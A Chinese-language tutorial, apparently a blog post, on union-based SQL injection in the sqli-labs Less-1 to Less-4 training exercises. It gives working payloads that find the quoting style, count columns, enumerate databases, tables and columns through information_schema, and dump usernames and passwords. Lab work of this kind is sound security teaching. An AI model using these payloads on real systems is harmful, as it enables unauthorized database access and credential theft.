web安全入门之SQL注入-联合查询法

SQL注入-联合查询法

1.联合查询法注入步骤

之前已经介绍过SQL注入的基本步骤在这里插入图片描述
这个步骤介绍的就是联合查询法的步骤,联合查询在SQL注入中最为简单
Metasploitable2-Linux中设置了不同的版本,Less-1 - Less-4就用的是联合查询法,今天主要针对于第一关Less-1,将其联合查询法的详细步骤原理

Less-1

1.求其闭合方式

在metasploitable2-linux中,我们可以切换到/var/www/sqli-labs-master/Less-1中,其中有两个文件,index.php文件就是web页面的脚本文件,我们在其中可以看到它的闭合方式为id=’$id’,我们在每一个版本Less中时,当猜不出其闭合方式时,我们可以查其脚本文件
在这里插入图片描述
在这里插入图片描述
在web页面中,我们不可能直接查看其脚本文件,我们只能通过SQL注入来一步步的导出其数据
在这里插入图片描述
关键SQL注入语句
Less-1/?id=1’ and 1=1 --+
Less-1/?id=1’ and 1=2 --+
原理:
我们在其脚本文件中看到的其闭合方式为单引号闭合,在web页面中不会显示器闭合方式,其闭合方式是隐藏的,原本id=’’,双引号中间是被闭合的内容,此时在1后面加上闭合符号的话,会打破其闭合,/?id=1’ and 1=1 --+,打破闭合后在加上and逻辑与语句,即可判断其闭合是否正确,–+为注释符#源码,注释其原闭合即不生效

逻辑与and 1=1,当其闭合方式正确时,and之前为真时,其结果必为真,则其页面回显就正常
逻辑与and 1=2,当其闭合方式正确时,and之前不管真假时,其结果必为假,则其页面无回显

求的其闭合方式为’'单引号闭合
在这里插入图片描述
在这里插入图片描述

2.二分法求表的列数

先引进一个函数 order by(),在SQL中是一个排序函数,在此页面中,可以用来爆列数,当其列数正确时,能回显正确的页面,其二分法是为了使其查询更为快速。
关键SQL注入语句:
/?id=1 ’ order by 10 --+
/?id=1 ’ order by 5 --+
/?id=1 ’ order by 3 --+
/?id=1 ’ order by 4 --+
在这里插入图片描述

3.观察其显示位

显示位:就是在页面上回显数据的位置
在观察其显示位时,需要用到联合查询union,联合查询就是使union的两端同时输出结果,此时可以使id=-1,这是一个错误语句,则其union之前的命令不执行,只输出union后的查询结果

关键SQL注入语句
/?id=-1’ union all select 1,2,3 --+
其显示位为select后两位,即2,3位
在这里插入图片描述

4.查找其用户数据库名

查找数据库时名时在系统数据库information_schema.schemata表中查找
先介绍用到的两种函数:
group_concat()函数:可以将列中的数据以行的形式显示
database()函数:可以将数据库直接回显出来

一种限制:limit限制
limit 0,1:0是指从第一行开始,1是指取一个数据

关键SQL注入语句:
/?id=-1’ union all select 1,2,schema_name from information_schema.schemata limit 0,1 --+
或者
/?id=-1’ union all select 1,2,group_concat(schema_name) from information_schema.schemata --+
或者
/?id=-1’ union all select 1,2,database() from information_schema.schemata --+
在这里插入图片描述
在这里插入图片描述

5.查找其用户所在表

已知其数据库为security的情况下,在系统数据库information_schema.tables表中查找

关键SQL注入语句
/?id=-1’ union all select 1,2,table_name from information_schema.tables where table_schema=‘security’ limit 0,1 --+
或者
/?id=-1’ union all select 1,2,group_concat(table_name) from information_schema.tables where table_schema=‘security’ --+

在这里插入图片描述
在这里插入图片描述

6.查找其库中表的列名

已知数据库为security,表名为users时,在系统数据库information_schema.columns表中查找

关键SQL注入语句
/?id=-1’ union all select 1,2,group_concat(column_name) from information_schema.columns where table_schema=‘security’ and table_name=‘users’ --+
在这里插入图片描述

7.查找数据

已知数据库为security,表名为users,列名为id,username,password时,便能直接导出数据

关键SQL注入语句
/?id=-1’ union all select 1,username,password from security.users --+
或者
/?id=-1’ union all select 1,group_concat(username),group_concat(password) from security.users --+
在这里插入图片描述在这里插入图片描述

Less2-Less-4

Less1-4都为联合查询法,都可以通过此方法逐步爆出数据,只是其闭合方式不同

Less-2

求其闭合方式

关键SQL注入语句
/?id=1 and 1=1 --+
/?id=1 and 1=2 --+
求的其闭合方式为整形(无闭合符号)
在这里插入图片描述

Less-3

求其闭合方式

关键SQL注入语句
/?id=1’) and 1=1 --+
/?id=1’) and 1=2 --+

求的其闭合方式为(’ ')
在这里插入图片描述

Less-4

求其闭合方式

关键SQL注入语句
/?id=1") and 1=1 --+
/?id=1") and 1=2 --+

求的其闭合方式为(" ")
在这里插入图片描述

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值